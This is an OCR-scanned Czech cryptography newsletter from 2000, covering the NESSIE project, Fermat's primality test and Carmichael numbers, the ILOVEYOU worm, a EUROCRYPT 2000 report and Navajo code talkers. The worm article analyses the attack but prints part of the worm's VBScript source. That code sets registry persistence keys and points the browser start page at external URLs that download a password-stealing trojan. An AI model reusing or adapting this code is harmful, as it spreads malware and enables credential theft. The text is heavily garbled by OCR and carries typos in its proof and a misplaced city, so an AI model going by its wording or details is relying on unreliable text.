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A.Nova evropska iniciativa v oblasti kryptografie
Ing. Jaroslav Pinkava, CSc. (AEC, spol. s r.o.)

V druhé poloviné kvétna se objevila na webu informace o nové aktivit¢ v ramci
Evropské Unie. Jedna se o projekt NESSIE (New European Schemes for Signature, Integrity,
and Encryption) programu IST Evropské komise (http://cryptonessie.org).

NESSIE je trilety projekt, ktery byl zahajen 1.ledna 2000. Jeho hlavnim cilem je
piinést celé ,portfolio”“ bezpecnych kryptografickych modelt (tzv. ,kryptografickych
primitiva®), které lze pak pouzivat v ramci riznych technologickych platforem. Jednotlivé
modely budou vytvafeny na zéklad¢ vefejnych navrhi a rovnéz tak vyhodnoceni téchto
navrhii probéhne otevienou a transparentni cestou. Celkova koncepce tohoto portfolia je
podstatné SirSi nez obdobny projekt AES (Advanced Encryption Standard ), ktery fidi
americky NIST. Projekt zdroven navazuje na jiz ziskané vysledky vramci evropskych
struktur. Zde lze zminit napt. Smérnici Evropské Unie pro elektronicky podpis nebo Cerstve
vydanou (kvéten 2000) normu k formatim elektronickych podpisit — Electronic Signature
Formats, ETSI 201 733.

Celkem se jedna o nasledujicich deset tiid kryptografickych primitivii:

1. Blokové sifry

2. Synchronni proudové Sifry

3. Samosynchronizujici se proudové Sifry

4. Autentizacni kody zprav (MAC)

5. Hashovaci funkce rezistantni vici kolizim
6. Jednosmérné hashovaci funkce

7. Pseudonahodné funkce

8. Asymetrickd schémata pro Sifrovani

9. Asymetricka schémata pro digitalni podpis
10. Asymetricka schémata pro identifikaci

V ramci kazdé¢ tfidy budou existovat dvé bezpecnostni urovné (normalni a vysoka),
s vyjimkou blokovych Sifer, kde bude jesté tieti tiroven (historickd-normalni). Tj. naptiklad
blokové Sifry vysoké bezpecnostni urovné maji pracovat s bloky textu v délce 128 bita a s
klicem nejméné v délce 256 bitli. Blokové Sifry normalni bezpecnostni tirovné pracuji rovnéz
s bloky oteviené¢ho textu v délce 128 bitli a musi mit kli¢ dlouhy nejméné 128 bitd. Zminéna
treti uroven ponechava moznost existence blokovych Sifer, které pracuji s bloky otevieného
textu v délce 64 bith (jako je tomu u vétSiny soucasnych algoritmit). Délka klice 1 u této tieti
urovné vSak musi byt minimalné 128 bitd.
Vyhodnoceni jednotlivych nédvrhii bude probihat na zaklad¢:
a) bezpecnostnich kriterii (obtiznost utokll, zdivodnéni bezpecnosti,...)
b) implementacnich kriterii (software, hardware, naroky na objem paméti,
spolehlivost,...)
c¢) dalsich kriterii, jako je jednoduchost a zfejmost navrhu atd.

V ramci prvniho kola, které kon¢i v zaii 2000, maji byt odevzdany vychozi navrhy.
V fijnu pak bude nasledovat jejich prvni projednani v ramci prvni ,,Jochneské* konference.

Jednim ze zakladnich cila projektu je také posilit pozice evropského kryptografického
pramyslu v ndvaznosti na vysledky evropského vyzkumu. Nesporné jsou vyznacné dopady na
celou kryptografickou praxi.


http://cryptonessie.org/

B. Fermatiiv test primality, Carmichelova cisla, bez¢tvercova Cisla
Mgr. Pavel Vondruska (NBU)

Cast .

Soucasné moderni kryptosystémy s vefejnym klicem se opiraji o fadu vysledka
z teorie ¢isel. Mimo teoretického studia, které je nezbytné z hlediska zdtivodnéni samotného
principu bezpecnosti a odolnosti systémt, je zde i fada praktickych problému. Piikladem
muze byt potieba rychle vygenerovat velkd prvocisla. Zpravidla ktomu slouzi
pravdépodobnostni testy jako napi. Solovay-Strassentiv test, Lehmanniiv test, Rabin-Millertv
test a Fermativ test. Krom¢ pravdépodobnostnich algoritmli k testovani prvociselnosti
existuji 1 postupy, které umoziuji ponékud vice. V piipad¢, ze p je skutecné prvocislo, pak
existuji algoritmy, které toto dokazi. Toto umozniuje Cohen-Lenstriiv test a Atkin-Moraintiv
test. Z ditvodu rychlosti se vSak v praxi pouzivaji pouze pravdépodobnostni testy a velké
prvocislo se vygeneruje pouze s piedem zvolenou , dostate¢nou pravdépodobnosti. Pro svoji
jednoduchost se také stale jest¢ implementuje Fermativ test primality.

Fermatiiv test primality

Tento test je zaloZen na platnosti tzv. Malé Fermatovy véty.
JestliZe p je prvodislo a ¢islo a je libovolné pfirozené ¢islo mensi jak p, pak a”=a mod p.

O platnosti tohoto tvrzeni se zmifnuje poprvé Fermat 18.10.1640 ve svém dopise Freniclovi.
Pro ptesnost uved’'me, ze uvadi jinou — ekvivalentni formulaci :

Je-li p prvocislo, pak p déli a”' — 1 pro viechna a, ktera nejsou délitelna p.

Jak lze vyuzit tuto vétu pro generovani prvocisel ?

Mame dané n > 1, zvolime a > 1 a spodteme pak a"' mod n. Pokud vysledek je riazny od
jedné, pak n neni prvocislo. Pokud vSak vysledek je roven jedné, pak to jesté neznamena, ze n
je prvocislo. Vezmeme jiné Cislo a provedeme cely test znovu.

Pokud by nékdo tento test programoval, doporucujeme pro volbu n pouzit zndmé technické
finty :
- vygenerujeme dostatecn¢ velké Cislo (napt. 1024 bitil)

- bity nejvyssiho a nejnizsiho fadu musi byt jednicka (jednicka na nejvyssSim tadu zaruci,

- provétfime, Ze ¢islo n neni délitelné malymi prvocisly : 3,5,7,11, ..., 251
Nyni provedeme vySe popsany Fermativ test s ndhodné¢ zvolenym a. Jestlize n splni

podminku testu (2™ =1 mod n ), vygenerujeme jiné ndhodné &islo a a s nim test zopakujeme.
Toto provadime opakované, podle vyzadované piesnosti..

Takto ziskané Cislo n prohlasime za prvocislo.



Je ztejmé, ze zvySujeme-li pocet voleb Cisla a, zvySuje se pravdépodobnost, Ze ndmi
vygenerované Cislo n je prvocislo.

Ukazalo se vSak, ze existuji takova n (kterd nejsou prvocisly), pro kterd Fermativ test je
splnén pfi libovolné volbé a. Tato slozena ¢isla se nazyvaji Carmichaelova disla.

Carmichaelova Cisla

Cislo n nazveme Carmichaelovo ¢&islo, pokud splituje malou Fermatovu vétu pro libovolnou
volbu baze a . Tedy a™'— 1 =0 (mod n) pro kazdou volbu 1 <a <n.

Tato Cisla se n¢kdy nazyvaji absolutni pseudoprvocisla. Nazyvaji se podle R.D.Carmichaela,
ktery o jejich existenci napsal prvou praci. Bylo to v roce 1910 a sdm Carmichael spocital 15
priklada takovych ¢isel. Predpoveédél, ze jich je nekone¢né mnoho.

Postupné byla nalezena vSechna Carmichaelova ¢isla mensi nez 100 000. Jsou to tato
Cisla:
561, 1105, 1729, 2465, 2821, 6601, 8911, 10585, 15841, 29341, 41041, 46657, 52633, 62745,
63973 a 75361 .

V roce 1939 Chernik zjistil, Ze pokud ¢isla p = 6m+1, g=12m+1 a r=18m +1 jsou
prvocisla, tak ¢islo pqr je Carmichaelovo prvocislo. Diikaz je velice jednoduchy :

N = (6m+1)*(12m+1)*(18m+1) = 1296m> + 396m* + 36m +1

N-1 je nasobek 36m a dale je zfejme 36m nejmensi spole¢ny nasobek 6m, 12m, 18m
a™!' =1 mod pro kazdé z prvodisel 6m+1, 12m+1 a 8m +1

atedy a¥! =1 mod ((6m+1)*( 12m+1)* (8m +1))

Pomoci tohoto postupu byla nalezena néktera Carmichaelova cisla tohoto specidlniho tvaru.
Carmichaelova Cisla tak Ize ziskat pro m=1, 6, 35, 45, 51, 55, 56, ...

Odpovidajici cisla potom jsou : 1729, 294409, 56052361, 118901521, ...

V lednu 1999 bylo takto ziskédno nejvétsi znamé Carmichaelovo ¢islo a to pro hodnotu m=
133752260*3003* 10'°** . Faktory tohoto &isla N maji 1616, 1616 a 1617 cifer.

vvvvvv

(1956), Alford (1994), Hoffman (1998) a Pinch a Dubner (1989-1998).

Z jejich vysledkt vyplynulo, Zze Carmichaelovych ¢isel je skute¢né nekone¢né mnoho a Ze
neexistuje rozklad Zadného Carmichaelova ¢isla na dva ¢initele.

Nejmensi Carmichaelovo ¢islo, které ma rozklad na :
3 Cinitele je : 561 =3*11*17 .

4 Cinitele je : 41041 =7*11*13*41

5 Cinitelt je : 825265 = 5*7*17*19*73

6 Cinitelti je : 321197185 =5*19*23*29*37*137



Dosud nejvétsi znama Carmichaelova Cisla, kterd maji rozklad na :

3 Cinitele je ¢islos 10 200 ciframi
4 Cinitele je Cislos 2 467 ciframi
5 Ciniteli je Cislos 1 015 ciframi
6 Cinitell je Cislos 827 ciframi

Richard Pinch (1993) uvadi Gplny seznam viech Carmichaelovych &isel mensich nez 10'°.
Odtud vyplyva, ze Carmichaelovych ¢isel mensich nez

10°  je 43

10" je 2163
107 je 105 212
10" je 246 683

V roce 1994 Alford odvodil odhad pro pocet Carmichaelovych ¢isel C(n).
Pro dostate¢ns velka n (Fadové n = 107) plati : C (n) =n*”’

Zavérem uvedeme, ze Carmichaelova ¢isla maji nasledujici vlastnosti :

1.

2.
3.

Jestliz p je prvocislo, které déli Carmichaelovo ¢islo n, potom z n = 1 (mod p-1) plyne ,
ze n =p (mod p(p-1)).

Kazdé Carmichaelovo Cislo je bezctvercové.

Liché slozené bezctvercové Cislo n je Carmichaelovo ¢islo pravé tehdy kdyz n déli
jmenovatele Bernoulliho ¢isla B,

Z teoretického hlediska je nejzajimavejsSi druhd vlastnost. Pristé si fekneme, co vlastné
bezctvercova Cisla jsou a jaky je jejich vyznam v teorii ¢isel a pro kryptologii.
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C. Cerv LOVE-LETTER-FOR-YOU.TXT.VBS
Mgr. Pavel Vondruska, NBU

Worm (¢erv) I LOVE YOU (LoveLetter) se stal opravdovym medidlnim hitem tohoto
jara. Objevil se 4.kvétna a béhem nékolika malo hodin zaséhl celou Asii a Evropu a jen o
malo hodin pozd¢ji i Ameriku. Love Letter je worm napsany ve VBS (Visual Basic Script) .
Siti se v e-mailech, ke kterym se piipojuje ve formé& souboru LOVE-LETTER-FOR-
YOU.TXT.VBS (kolem 10 KB). Subjekt "infikované" e-mailové zpravy zni: "ILOVEYOU".
V téle zpravy je obsazen text: "kindly check the attached LOVELETTER coming from me.".
"Dvojita" pfipona u souboru vyuziva toho, ze v nékterych klientech neni ¢ast za druhou
teCkou viditelna. Pfijemce si pak mysli, Ze je to obycCejny textovy soubor (TXT) a s pocitem
bezpeci a notnou davkou zvédavosti jej otevie. Pro Sifeni potiebuje tento worm program MS
Outlook - odtud se jednoduse sam rozesle na dalsi e-mailové adresy, které najde v adresaii. Po
spusténi souboru LOVE-LETTER-FOR-YOU.TXT.VBS se Cerv zabydli v pocitaci (proto je
to Cerv, nikoliv virus).

Vytvoii nové klice v registrech:
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32
HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL

V adresati C:\WINDOWS\SYSTEM pak dale vytvoti soubory MSKERNEL32.VBS a
Win32DLL.VBS. Na pevnych i sitovych discich vyhledava soubory s ptiponou VBS, VBE,
JS, JSE, CSS, WSH, SCT, HTA, jejichz obsah ptepiSe svym télem a ptiponu zméni na VBS.
V ptipad¢ souborii s ptiponou JPG ¢i JPEG je vytvotrena "dvojitd" ptipona - ptivodni + .VBS.
Se soubory s ptiponou MP2 a MP3 pracuje Cerv jinak - nejprve vytvoii kopie téchto souborti
- ty pak nasledn¢ prepiSe vlastnim télem a vytvoii na nich "dvojitou" pitiponu
(ptivodni_ndzev.MP3.VBS). Atribut téchto souborti je zménén na hidden. Pokud neexistuje
soubor C:\WINDOWS\WINFAT32.EXE, nastavi domovskou stranku Internet Exploreru tak,
aby ze serveru http://www.skyinet.net/~ stahoval soubor WIN-BUGSFIX.EXE. Tento soubor
obsahuje trojského koné (program, o jehoz ¢innosti vlastnik PC nic nevi). Po aktivaci se tento
trojsky kun usadi pravé do souboru WINFAT32.EXE a na adresu na Filipinach se snazi ptes
e-mail odesilat nakradena senzitivni data (uzivatelské jméno, IP, hesla atd.). Tato adresa také
samoziejm¢ pomohla odhalit a obvinit potencialniho pachatele.

Cerv I LOVE_YOU mize nasledné dorazit na vase PC i ptes IRC. Pokud VBS:
LoveLetter nalezne klienta mIRC, pfepiSe soubor ,,mirc.ini“ a pak je schopen poslat sdm sebe
ostatnim uzivateliim IRC.

Podle vSeho se zd4, ze autor nechtél zahltit sit’ a ochromit provoz servert prakticky na
celém svéte. Pravdépodobné pouze chtél pomoci svého Cerva dopravit do pocitact trojského
koné a pomoci n¢j ziskat hesla a tedy nadvladu nad cizimi pocitaci. To mohl nasledné vyuzit
napf. 1 ke svému obohaceni (uzavirani e-obchodi apod.). Ziejm¢ netusil, ze jeho utok
vyuzivajici psychologii bézného uZzivatele e-mailové poSty bude mit takovy ,,ispéch®.

Po origindlnim Cervu se velice rychle objevila fada variant a modifikaci. ,,Autofi‘
jednoduse original lehce upravili a nova varianta byla na svété. Nékteré ,,varianty* spocivaly
pouze v prepsani textil a jmen, jiné byly dimysIné&jsi. Psychologicky natlak na uzivatele, ktery
musi aktivné spolupracovat — oteviit pfilohu, se ménil. Jedna varianta zasild vtip, jind
varianta se tvaii jako zprava od Symantecu a zasild udajné upozornéni na LoveLetter.
Nejzajimaveéjsi je ta, kterd oznamuje stazeni 326 USD z kreditni karty a zadd o vytisténi
piilozené faktury. Variant tohoto Cerva se objevilo n¢kolik desitek.



LoveLetter pfedstavuje novou generaci nebezpecnych programu. Rozsifil se velice
rychle a napéachal obrovské Skody. Vyuziva bezpeCnostnich dér v operacnim systému a
aplikacich a dale psychologicky prvek, kterym donutil uzivatele ke spolupraci. Jiz jsme se
zminili, Ze tim, ze ve Windows nejsou implicitné znamé piipony soubort zobrazovany, fada
uzivateli pfiponu .vbs u wormu nevidéla a otevirala jej v domnéni, Ze se jednad o textovy
soubor. DalSimi problémy, které mizeme jmenovat, jsou : implicitni instalace Windows
scripting Host, provazanost aplikaci, pfili§ silny jazyk VBS, nemoznost odd¢lit nastaveni
bezpecnosti jinak pro Explorer a jinak pro postovni klienty, implementace HTML a VBS do
postovnich klientd, spousténi kodd (programy, skripty) pfimo z poStovnich klientd atd.
Doufejme, iZze vyrobci a autofi aplikacnich programii (a predevSim Microsoft) zareaguji
velice rychle a potenciadlni bezpecnostni diry budou odstranény. Obavam se vsak, ze soucasny
trend — maximalni jednoduchost pro uzivatele, absolutni provazanost aplikaci, kompatibilita
témef na urovni binarnich dat, silné makrojazyky, rozsifeni VBS atd., ptedpoklad, ze uzivatel
je nejStastnéj$i, kdyz muze jenom ,klikat“ mysSi a neni nucen pfemyslet, miize vést
v budoucnu k jesté vetSim problémim ... KLIK.

Zde m¢l byt ptvodné cely ,,zdrojovy kod“ LOVE-LETTER-FOR-YOU.TXT.VBS ,
ale vzhledem k jeho délce (10 kb, cca 5 stran A4) a vzhledem k tomu, ze by po malé
modifikaci mohl vzniknout dalsi virus :-) , jsem se rozhodl umistit jen zacatek z tohoto kodu.

rem barok -loveletter(vbe) <i hate go to school>

rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group /
Manila,Philippines

On Error Resume Next

dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow

eq=""

ctr=0

Set fso = CreateObject("Scripting.FileSystemObject")

set file = fso.OpenTextFile(WScript.ScriptFullname, 1)

vbscopy=file.ReadAll

main()

sub main()

On Error Resume Next

dim wscr,rr

set wscr=CreateObject("W Script.Shell")

rr=wscr.RegRead("HKEY CURRENT USER\Software\Microsoft\Windows Scripting
Host\Settings\Timeout")

if (rr>=1) then

wscr.RegWrite "HKEY CURRENT USER\Software\Microsoft\Windows Scripting
Host\Settings\Timeout",0,"REG_DWORD"

end if

Set dirwin = fso.GetSpecialFolder(0)

Set dirsystem = fso.GetSpecialFolder(1)

Set dirtemp = fso.GetSpecialFolder(2)

Set ¢ = fso.GetFile(WScript.ScriptFullName)

c.Copy(dirsystem&"\MSKernel32.vbs")

c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")



regruns()

html()

spreadtoemail()

listadriv()

end sub

sub regruns()

On Error Resume Next

Dim num,downread

regcreate

"HKEY LOCAL_ MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel3
2" dirsystem&"\MSKernel32.vbs"

regcreate

"HKEY LOCAL MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Wi
n32DLL",dirwin&"\Win32DLL.vbs"

downread=""

downread=regget("HKEY CURRENT USER\Software\Microsoft\Internet
Explorer\Download Directory")

if (downread="") then

downread="c:\"

end if

if (fileexist(dirsystem&"\WinFAT32.exe")=1) then

Randomize

num = Int((4 * Rnd) + 1)

if num = 1 then

regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~youngls/HJKhjnwerhjkxcvytwertnM TFwetrdsfmhPnjw6587
345gvsdf7679njbvY T/WIN-BUGSFIX.exe"

elseif num = 2 then

regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~angelcat/skladjflfdjghKInwetryDGFikjUlyqwerWe54678632
4hjk4jnHHGbvbmKLIKjhkqj4w/WIN-BUGSFIX.exe"

elseif num = 3 then

regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~koichi/jf6 TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOh
fgER67b3Vbvg/WIN-BUGSFIX.exe"

elseif num = 4 then

regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~chu/sdgthjksdfjkINBmnfgkKL HjkqwtuHIBhAFSDGjkhYUg
gwerasdjhPhjasfdglkNBhbgwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-
BUGSFIX.exe"

end if

end if

skookoskok skok

Zdroje:

Pavel Baudis : Obraz virové problematiky v roce 2000, sbornik konference Security 2000
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Petr Odehnal : Jaka prostfedi dnes tvoii zivnou ptidu virim, sbornik konference Security 2000



D. EUROCRYPT 2000
Mgr. Pavel Vondruska (NBU)

Mezinarodni konference EUROCRYPT 2000 se konala 14.5. az 18.5. v Bruggach
(Belgie). Konferenci poradala IACR (International Association for Cryptolgic Research) ve
spolupraci s belgickou odbornou skupinou COSIC.

Konference se zucastnilo celkem cca 440 expertli z celé¢ho svéta. Zastoupeny byly
vSechny kontinenty, nejveétsi ucast byla z USA, Belgie (potadajici stat), Francie,... . Z CR se
zucastnilo devét odbornikda.

Ptitomna byla cela svétova kryptologicka Spicka. Z téch nejznaméjsich uvedu (v
zavorce vysledek nebo fakt, ktery nositele prislusného jména ptredevsim proslavil) napiiklad:
Shamir (RSA, Twinkle) , Rivest (RSA), Biham (diferen¢ni kryptoanalyza), Zimmermann
(PGP), Lenstra (faktorizace), van Oorschot (autor jedné z nejznaméjSich monografii o
kryptografii), Diffie (krypotsystém Diffie-Helmann), McCurley (soucasny predseda IACR),
Wagner (A5/1, slide-attack), Rabin (Rabinovo schéma) a desitky dalSich.

Konference Eurocrypt je spolecné s konfererenci Crypto (pravidelné potfadané v Santa
Barbafe - USA) nejvyznamnéjsi akci v oblasti kryptologie v kalendainim roce. Tomu také
v této oblasti v obdobi od minulé konference, EUROCRYPT 1999, ktera se konala v Praze. V
kazdé sekci tak vzdy zaznély peclivé vybrané referaty, které vybiral programovy vybor z
velkého mnozstvi doslych referati. Jednotlivé sméry a tedy piislusné ¢lenéni bylo vybrano
nasledovné (v zavorce pocet prednasek):

- Factoring and Discrete Logarithm (3)

- Cryptoanalysis I: Digital Signatures (4)

- Private Information Retrieval (2)

- Key Management Protocols (3)

- Thresold Cryptography and Digital Signatures (4)

- Public-Key Encryption (2)

- Quantum Cryptography (2)

- Multi-Party Compution and Information Theory (3)
- Cryptoanalysis II: Public-Key (3)

- Zero Knowledge (2)

- Symetric Cryptography (3)

- Boolean Functions and Hardware (3)

- Voting Schemes (2)

- Cryptoanalysis III: Stream Ciphers and Block Ciphers (2)

Program byl jiz tradi¢né doplnén o poster session (16 prispévkd) a rump session (18
piispévkil) a dale o dvé piednasky zvanych fe¢nikt : Mike Walker a A.E.Sale .



Kratky obsah nékterych vybranych témat

Factorization of a 512-Bit RSA Modulus

Jednalo se o prezentaci mimotadné dilezitého vysledku ze srpna loniského roku - faktorizace
512 bitového modulu RSA. Tedy modulu, ktery se v komer¢nich aplikacich stale jesté
pouziva. Fakt a metoda je odborné vefejnosti znama - zde zaznél tento piispévek jako prvni
piedevsim proto, ze IACR takto chtélo ocenit vSechny ty, ktefi pfispéli k dosazeni tohoto cile
ke kterému se v nékolika poslednich letech sméfovalo.

Lenstra,Shamir : Analysis and Optimization of the TWINKLE Factoring Device

Profesor Shamir upravil své optoelektronické zafizeni, které bylo poprvé predstaveno na rump
session loni v Praze. Zatizeni produkuje data vhodna ke zpracovani metodou NFS nikoliv QS
jako prva verze. Podafilo se zvysit takt zafizeni 10x. Teoreticky (spoluprace 80 000 PC a
vyroba 5000 zatizeni TWINKLE) je mozné touto metodou faktorizovat jiz 768 bitovy modul
RSA.

F.Grieu : A Chosen Message Attack on the ISO/IEC 9796-1 Signature Scheme

F.Grieu ptredvedl utok proti podpisovému standardu ISO/IEC 9796-1. Nejednd se jen o
teoretickou slabinu, ale o prakticky proveditelny ttok. Rozebirana byla napt. moznost, kdy 1ze
padélat podpis znamé zpravy , pokud jsou k dispozici 3 zpravy se stejnym veiejnym
exponentem. Postup neni vypocetné slozity. Chyba je natolik zavazna, ze vyzaduje zménu
tohoto standardu.

M.Girault aj.Misarsky - Cryptanalysis of Contermeasures Proposed for Repairing ISO
9796-1

Standard ISO 9796-1 (publikovan v roce 1991) byl prvnim standardem pro digitalni podpis,
ktery umoznoval message recovary. Nedostatky, které¢ byly béhem roku 1999 odhaleny, vedly
k névrhu riznych opatfeni k odstranéni moznych bezpecnostnich problémi. Zde je
analyzovano pét z téchto navrhi.

Naccache,Coron,Joye,Pailier - New Attacks on PKCS# v. 1.5 Encryption

Prezentace dal$iho vyznamného vysledku z podzimu roku 1999. Publikovany zde byly
technické detaily utoku. Pfipomenime, ze tento standard je nadale pouzivan v soucasnych
komerénich produktech.

E.Jaulmes, A.Joux : A NICE Cryptanalysis

Prezentovan chosen-ciphertext attack proti obéma verzim kryptosystému NICE . Systém
NICE byl prezentovan v roce 1999 jako novy mozny kryptosystém s vetejnym klicem.
Vzhledem k obecnym podminkam utoku to znamena, Zze tento systém nelze povazovat za
bezpecny.

P.Sarkar,S.Maitra : Construction of Nonlinear Boolean Functions with Important
Cryptographic Properties

Nejednalo se o prezentaci vysledku svétového vyznamu, ale o velice dobfe vypracovanou
teorii, véetné ndvodu na praktické vyhledavani vhodnych nelinearnach Booleovskych vektor,
které jsou nutné pti konstrukei vlastnich kvalitnich streamovych Sifer.
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A.Biryukov,D.Wagner : Advanced Slide Attacks
D.Wagner (viz nepiili§ vydafené foto z prednasky)
predstavil nejnovéjsi utok na blokové Sifry
Feistelova typu. Ukazuje se, ze pokud je kli¢
pouzivan opakovan¢ nebo spotiebovavan periodicky,
jedné se o vaznou chybu kryptosystému a utok pak
lze pouzit bez ohledu na pocet pouzitych rund -
tj.zvySovanim poctu rund se nezvysi kvalita Sifry.
Utok byl pfedveden na riznych variantach DESX a i
na ruském Sifrovém standardu GOST (verze 20
rund).

Ptrednasky zvanych fecnik :

Mike Walker - On the Security of 3GPP Networks

Vzhledem k znamym ttoktim na verzi A5/1 (1999,2000) , ktera se pouziva mimo jiné i v CR ,
se ukazuje nutnost zavést bezpeény provoz mobilnich telefonii. Piednasejici seznamil se
specifikaci WCDMA - "prvniho standardu pro mobilni komunikaci - tieti generace ".

A_.E.Sale - Colossus and the German Lorenz Cipher
Historické téma. Rekonstrukce zatizeni Colossus, které za druhé svétové valky umoznovalo
lustit némeckou Sifru zatizeni Lorenz.

Rump Session

Celkem ptedneseno 18 prispevki.

(novém americkém standardu pro Sifrovani, ktery nyni podrobi analyze NIST) se rozhodla
evropskd kryptologickd obec vyhlasit vytvofeni vlastniho standardu - NESSIE (New
European Schemes for Signature, Integrity and Encryption). K NESSIE viz samostany ¢lanek
v tomto sesite.

Pristi konference EUROCRYPT 2001 se bude konat ve Svycarském Innsbrucku.
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E. CODE TALKERS

Dil III. - Od Iwo Jimy k mluvici figurce firmy Hasbro
Mgr. Pavel Vondruska, NBU

V roce 1942 Zilo celkem 50 000 indianii Navajii. Koncem roku 1945 z nich slouzilo 540 u
namotnictva, z toho 375 (n¢kde udavano 420) jich slouzilo jako ,.code talkers — mluv¢ci
v kodech. Indiani, ktefi prosli vycvikovym
tdborem v Pendeltonu v Kalifornii, byli
nasazeni postupné¢ do vSech Sesti
americkych namotnich divizi, které
operovaly v Pacifiku. Zde slouzili od roku
1942 az do konce valky. Jejich pocet se
postupné zvysoval z 29 na cca 400.
Predavali zpravy nejvyssiho utajeni.
Vysledky  nejkrvavéjSich  bitev -
Guadalcanal, Tarawa, Peleliu, Iwo Jima -
Casto zalezely na jejich pfesné a rychlé
praci. Major Howard Connor z paté
namoini divize ve svych vzpominkach
piSe, ze kdyby nebylo ,,mluv¢ich v kédech®, nikdy by nebylo mozné zvitézit u Iwo Jimy.
V této divizi bylo zatazeno 6 Navajii. BEhem prvnich dvou dnili této bitvy pfijali pres 800
zprav a vSechny tyto zpravy byly pfijaty bez chyby! Vykon, ktery pomoci klasickych , tehdy
pouzivanych Sifrovych systémil nebylo mozné doséhnout. Operativnost, bezpecnost, rychlost
a pfesnost v predavani taktickych zprav pfinesly Ameri¢aniim v této bitve vitézstvi.

Jesté dlouho po valce byly vSechny informace o ,,tajné americké zbrani“ ve vélce o
ostrovy klasifikovany jako pfisn¢ tajné. Indiany Navajo nikdo neoslavoval a o jejich
hrdinskych ¢inech a umorné praci se nesmélo mluvit. Americané védéli, ze se Japoncim
nepodaiilo kéd prolomit, a tak Navajové ,,mluv¢i v kodech®
byli jesté pouziti ve valce v Koreji v roce 1950 a dokonce (coz
neni pfili§ znama informace) v jesté v Sedesatych letech ve
valce ve Vietnamu. Ani v téchto véalkach nebyl protivnik
uspésny a kdd prolomen nebyl. Soucasné to ukazuje, jak tajny
byl cely projekt a jak dlouho se jej a ptisluSné kody podatilo
udrzet v tajnosti.

Od roku 1969 byla postupné vefejnost seznamovana
s n€kterymi skute¢nostmi, které se ,mluvéich v kodech*
tykaly. Vroce 1971 prezident Nixon oficidlné podckoval
vSem Navajum, ktefi se béhem svétové valky zaslouzili svym
»patriotismem, dimyslnosti a kurdzi“ o vitézstvi USA nad
Japonskem. Vroce 1983 byl vyhlaSen Cc¢trnacty duben
,Narodnim dnem mluvcich v kodech* (National Code Talkers
Day) na pamatku vSech muzi, ktefi slouzili za druhé svétové
valky v Tichomoii. Prezident Ronald Reagan osobn¢ udélil
valeCnym veteranim — ,,mluvéim v koédech® vysokd statni
vyznamenani. V roce 1988 zalozil jeden z valeCnych veteranii
indidn Richard Mike ve své restauraci v navajské rezervaci
Kayenta ~ muzeum na pamatku c¢inG téchto specialné
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vycvicenych indianti. Muzeum je velice dobie znamé i v Japonsku. Navstéva je doporu¢ovana
japonskymi cestovnimi kancelafemi v pravodcich po USA. Japonci se zde na své cesté ke
Grand Canyonu Casto zastavuji.

e T T "..LIF‘C' N Y Na vefejnosti se postupné
. _ . 3 ; 77 5. ﬁ/{z“ objevovaly uka'l,zky Vkéd}‘i, k:[eré
R . - byly za druhé svétové valky
lorhon i pouzivany. Cely kédovy material
? byl nakonec odtajnén 3.11.1999.
NI HOKEH WIZIGEH, ARE=]H= \ ;
=A "{H- Hﬂ""HELEﬂM V piiloze je uvedena kodova
HIH=BIKAH=GI IO TAH KAH-TM knih kterd byl v/ s
il BT it i byl ponivin
A g ﬂ}ﬁ Wﬁﬁ? szosle’dmf:h dnech’ drqhe
RASHINDOR b E:ﬂ-Hn Hm"ﬁﬂﬁlﬂ svétové valky. Podle této knihy
St Sy jsem také vytvotil nazev druhého
HI=HE DA=NA=AH=TAH |HLA r, ; : [ w g
VEL KHOL=GO E=E=AH 1 dilu tovl}oto Vo}neho“vypravem 0
DAY=NE TAL=AL=TSO=G0 EWTA=SHE=JAH ,,mluv¢ich v kédech” - YIL-TAS
m%ﬁ&%ﬁﬁaﬁﬁﬁ”' GLOE-IH-DOT-SAHI UT-ZAH,
IO NI-DIN=DA=HI OL=YEM coz ~zmamend kéd  bude
WASHINDON BE AKALH=B| KHOS uspesny ™.
- e ,
N1=H]=KEH DI=DLINI TA=ETIK . Kod =~ byl  opravdu
YEH=WOL=YE N|=HE A=DIN uspésny, ptinesl Ameri¢anim
SIMﬁ;}EﬁL@IﬂﬂJﬂ%ﬂL&;I pravdépodobné vitézstvi v bitve
WASHINDON BE AKALH=-81=-KHOSI LA o ostrovy. Jak to ale bylo se

HOZO=GO KAY=HA=TIHN skuteénou kryptologickou silou

kédového  systému? Opravdu
byli Japonci proti nému bezmocni? Na tyto otazky nam casteCn¢ pomtize odpovédét pribéh
serzanta Joe Kieyoomia z druhé svétove valky.

Serzant Joe Kieyoomia mohl za druhé svétové valky sehrat téméf rozhodujici ulohu
v bitvé o ostrovy. Byl totiz indian z kmene Navajo, neslouzil u amerického namotnictva, ale u
dvousté délostrelecké brigddy. Po kapitulaci Filipin (1942), byl zajat a v japonském zajeti
stravil 43 meésicti. Kratce po svém zajeti byl odd€len od jednotky a poslan do Japonska — do
mésta Nagasaki. Japonci si o ném mysleli, vzhledem k jeho jménu a barvé pleti, ze neni
AmeriCan, ale Japonec, ktery slouzil v americké armad¢ a jako takovy mél byt fadné
vyslechnut a po té odsouzen. Japonci mu zpocatku nevérili, ze v USA ziji 1 lidé jiné pleti nez
bilé a ¢erné a ze je rodily American. O jeho pfipad se zajimala i japonska rozvédka. Po mnoha
dnech stradani a utrpeni (véetné hladovéni a biti) se stalo néco neCekaného, Joa navstivila dveé
krasna japonska dévcata a napsala mu na tabulku nékolik slov v navajstin€. Joe musel fikat,
co ta slova v angli¢tin€¢ znamenaji. Pamatoval si, ze mezi slovy byly vyrazy pték, zelva, voda.
Joe nic nevédél o ,mluvCich v kdédech™ a nevédél, ze by mohl pomoci Japoncim k
